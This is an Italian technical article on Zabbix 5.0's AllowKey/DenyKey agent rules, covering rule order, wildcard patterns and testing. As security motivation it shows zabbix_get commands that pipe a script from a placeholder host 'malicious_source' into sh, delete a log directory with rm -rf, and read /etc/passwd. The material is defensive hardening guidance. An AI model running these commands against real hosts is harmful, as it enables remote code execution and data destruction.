🥇Supporto per liste nere e bianche per le metriche lato agente in Zabbix 5.0

Supporto per le liste nere e bianche per le metriche lato agente

Tikhon Uskov, Ingegnere di integrazione, Zabbix

Problemi di sicurezza dei dati

In Zabbix 5.0 è stata introdotta una nuova funzionalità che migliora la sicurezza nei sistemi che utilizzano Zabbix Agent e sostituisce il vecchio parametro EnableRemoteCommands.

Il miglioramento della sicurezza dei sistemi che utilizzano l'agente è dovuto al fatto che l'agente può eseguire un gran numero di azioni potenzialmente pericolose.

L'agente può raccogliere praticamente qualsiasi informazione, inclusi dati riservati o potenzialmente pericolosi, da file di configurazione, file di log, file con password o qualsiasi altro file.

Ad esempio, utilizzando lo strumento zabbix_get è possibile accedere all'elenco degli utenti, alle loro directory home, ai file con password, ecc.

Accesso ai dati tramite lo strumento zabbix_get

NOTA. I dati possono essere ottenuti solo se l'agente ha i diritti di lettura sul file pertinente. Ma, ad esempio, il file /etc/passwd/ è accessibile in lettura a tutti gli utenti.

L'agente può anche eseguire comandi potenzialmente pericolosi. Ad esempio, la chiave *system.run[]** permette di eseguire qualsiasi comando remoto sui nodi della rete, incluso l'avvio di script tramite l'interfaccia web di Zabbix, che eseguono anche comandi sul lato dell'agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

In Linux, l'agente viene eseguito di default senza privilegi di root, mentre in Windows viene eseguito come servizio con nome System e ha accesso illimitato al file system. Pertanto, se dopo l'installazione non vengono apportate modifiche alle impostazioni di Zabbix Agent, l'agente ha accesso al registro, al file system e può eseguire query WMI.

Nelle versioni precedenti, il parametro EnableRemoteCommands=0 permetteva solo di disabilitare le metriche con chiave *system.run[]** e l'esecuzione di script dall'interfaccia web, ma non era possibile limitare l'accesso a file specifici, consentire o vietare chiavi singole, che venivano impostate con l'agente, né limitare l'uso di parametri specifici.

L'uso del parametro EnableRemoteCommand nelle versioni precedenti di Zabbix

AllowKey/DenyKey

Zabbix 5.0 aiuta a proteggere da accessi non autorizzati grazie a liste bianche e nere per consentire e vietare metriche sul lato dell'agente.

In Zabbix 5.0 tutte le chiavi, comprese *system.run[]**, sono autorizzate, e sono aggiunti due nuovi parametri di configurazione dell'agente:

AllowKey= — verifiche consentite;

DenyKey= — verifiche vietate;

dove — è il pattern del nome della chiave con i parametri, in cui si usano i metacaratteri (*).

Le chiavi AllowKey e DenyKey consentono di autorizzare o vietare singole metriche secondo uno specifico modello. A differenza di altri parametri di configurazione, il numero di parametri AllowKey/DenyKey non è limitato. Questo consente di definire chiaramente cosa l'agente può fare nel sistema grazie alla creazione di un albero di verifiche — chiavi eseguite, dove l'ordine di scrittura gioca un ruolo molto importante.

Sequenza di regole

Le regole vengono verificate nell'ordine in cui sono state inserite nel file di configurazione. La verifica della chiave secondo le regole avviene fino alla prima corrispondenza, e non appena la chiave dell'elemento dati corrisponde al modello, viene consentita o vietata. Dopo ciò, la verifica delle regole si ferma e le altre chiavi vengono ignorate.

Pertanto, se un elemento corrisponde sia a una regola di autorizzazione che a una regola di divieto, il risultato dipenderà da quale regola si trova per prima nel file di configurazione.

2 regole diverse con lo stesso modello e chiave vfs.file.size[/tmp/file]

Ordine di utilizzo delle chiavi AllowKey/DenyKey:

regole esatte,
regole generali,
regola di divieto.

Ad esempio, se hai bisogno di accesso a file in una determinata cartella, devi prima consentire l'accesso a essi, dopodiché vietare tutto il resto che non rientra nelle autorizzazioni stabilite. Se per prima cosa viene utilizzata una regola di divieto, l'accesso alla cartella sarà negato.

Sequenza corretta

Se è necessario consentire l'esecuzione di 2 utility tramite *system.run[]**, e in primo luogo verrà indicata la regola di divieto, le utility non verranno eseguite, poiché il primo pattern corrisponderà sempre a qualsiasi chiave, e le regole successive verranno ignorate.

Sequenza errata

Pattern

Regole di base

Il pattern è un'espressione con segnaposto (wildcard). Il metacarattere (*) corrisponde a qualsiasi numero di caratteri in una posizione specificata. I metacaratteri possono essere utilizzati sia nel nome della chiave che nei parametri. Ad esempio, è possibile definire in modo rigoroso il primo parametro con un testo, e specificare il successivo come wildcard.

I parametri devono essere racchiusi tra parentesi quadre [].

system.run[* — non corretto
vfs.file*.txt] — non corretto
vfs.file.*[*] — corretto

Esempi di utilizzo della wildcard.

Nel nome della chiave e nel parametro. In questo caso, la chiave non corrisponde a una chiave analoga che non contiene il parametro, poiché nel pattern abbiamo specificato che vogliamo ottenere una certa conclusione del nome della chiave e un certo insieme di parametri.
Se nel pattern non sono utilizzate le parentesi quadre, il pattern consente tutte le chiavi che non contengono parametri e proibisce tutte le chiavi con il parametro specificato.
Se la chiave è scritta per intero e i parametri sono specificati come wildcard, corrisponderà a qualsiasi chiave simile con qualsiasi parametro e non corrisponderà a una chiave senza parentesi quadre, cioè sarà consentita o vietata.

Regole per la compilazione dei parametri.

Se si intende utilizzare la chiave con parametri, questi devono essere scritti nel file di configurazione. I parametri devono essere specificati come metacarattere. Occorre fare attenzione a vietare l'accesso a qualsiasi file e considerare quali informazioni può restituire la metrica in diverse varianti di scrittura — con parametri e senza.

Caratteristiche della scrittura delle chiavi con parametri

Se la chiave è specificata con parametri, ma i parametri sono facoltativi e indicati come metacarattere, la chiave senza parametri sarà consentita. Ad esempio, se si desidera vietare la ricezione di informazioni sul carico della CPU e si specifica che la chiave system.cpu.load[*] deve essere vietata, non dimenticare che la chiave senza parametri restituirà il valore medio del carico.

Regole per la compilazione dei parametri

Note

Impostazione

Alcune regole non possono essere modificate dall'utente, come le regole di rilevamento (discovery) o l'autoregistrazione degli agenti. Le regole AllowKey/DenyKey non riguardano i seguenti parametri:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem

NOTA. Se l'amministratore vieta una chiave, Zabbix non fornisce informazioni sul motivo per cui la metrica o la chiave rientrano nella categoria ‘NOTSUPPORTED‘. Nei file di log dell'agente, non vengono visualizzate le informazioni sulle restrizioni sull'esecuzione di comandi remoti. Questo è stato fatto per motivi di sicurezza, ma può complicare il debug se le metriche rientrano in una categoria non supportata per qualche motivo..

Non ci si deve aspettare un ordine specifico di collegamento dei file di configurazione esterni (ad esempio, in ordine alfabetico).

Strumenti da riga di comando

Dopo aver configurato le regole, è necessario assicurarsi che tutto sia impostato correttamente.

È possibile scegliere tra tre opzioni:

Aggiungere una metrica in Zabbix.
Testare utilizzando zabbix_agentd. L'agente Zabbix con l'opzione -print (-p) mostra tutte le chiavi (che sono permesse di default), tranne quelle non consentite dalla configurazione. E con l'opzione -test (-t) per una chiave vietata restituirà 'Chiave dell'oggetto non supportata‘.
Testare utilizzando zabbix_get. Strumento zabbix_get con opzione -k restituirà 'ZBX_NOTSUPPORTED: metrica sconosciuta‘.

Consentire o vietare

Puoi vietare l'accesso al file e verificare, ad esempio, con lo strumento zabbix_get, che l'accesso al file è vietato.

NOTA. Le virgolette nel parametro vengono ignorate.

Tuttavia, l'accesso a tale file potrebbe essere consentito in un altro modo. Ad esempio, se c'è un collegamento simbolico ad esso.

Si consiglia di verificare diverse varianti di applicazione delle regole stabilite e di considerare le possibilità di aggirare i divieti.

Domande e risposte

Domanda. Perché per la descrizione delle regole, dei permessi e dei divieti è stata scelta una tale complessa schematizzazione con il proprio linguaggio? Perché non è stata data la possibilità di utilizzare, ad esempio, le espressioni regolari che utilizza Zabbix?

Risposta. Si tratta di una questione di prestazioni delle regex, poiché l'agente è di solito solo uno e controlla un enorme numero di metriche. Le regex sono operazioni piuttosto pesanti e non possiamo controllare migliaia di metriche in questo modo. I caratteri jolly sono una soluzione universale, ampiamente applicata e semplice.

Domanda. I file Include non vengono inclusi in ordine alfabetico?

Risposta. Per quanto ne so, prevedere la sequenza di applicazione delle regole, se distribuisci le regole in vari file, è praticamente impossibile. Ti consiglio di raccogliere tutte le regole AllowKey/DenyKey in un unico file Include, perché interagiscono tra loro, e di includere quel file..

Domanda. In Zabbix 5.0 l'opzione 'EnableRemoteCommands=' nel file di configurazione è assente, e sono disponibili solo AllowKey/DenyKey?

Risposta. Sì, esatto..

Grazie per l'attenzione!

Fonte: habr.com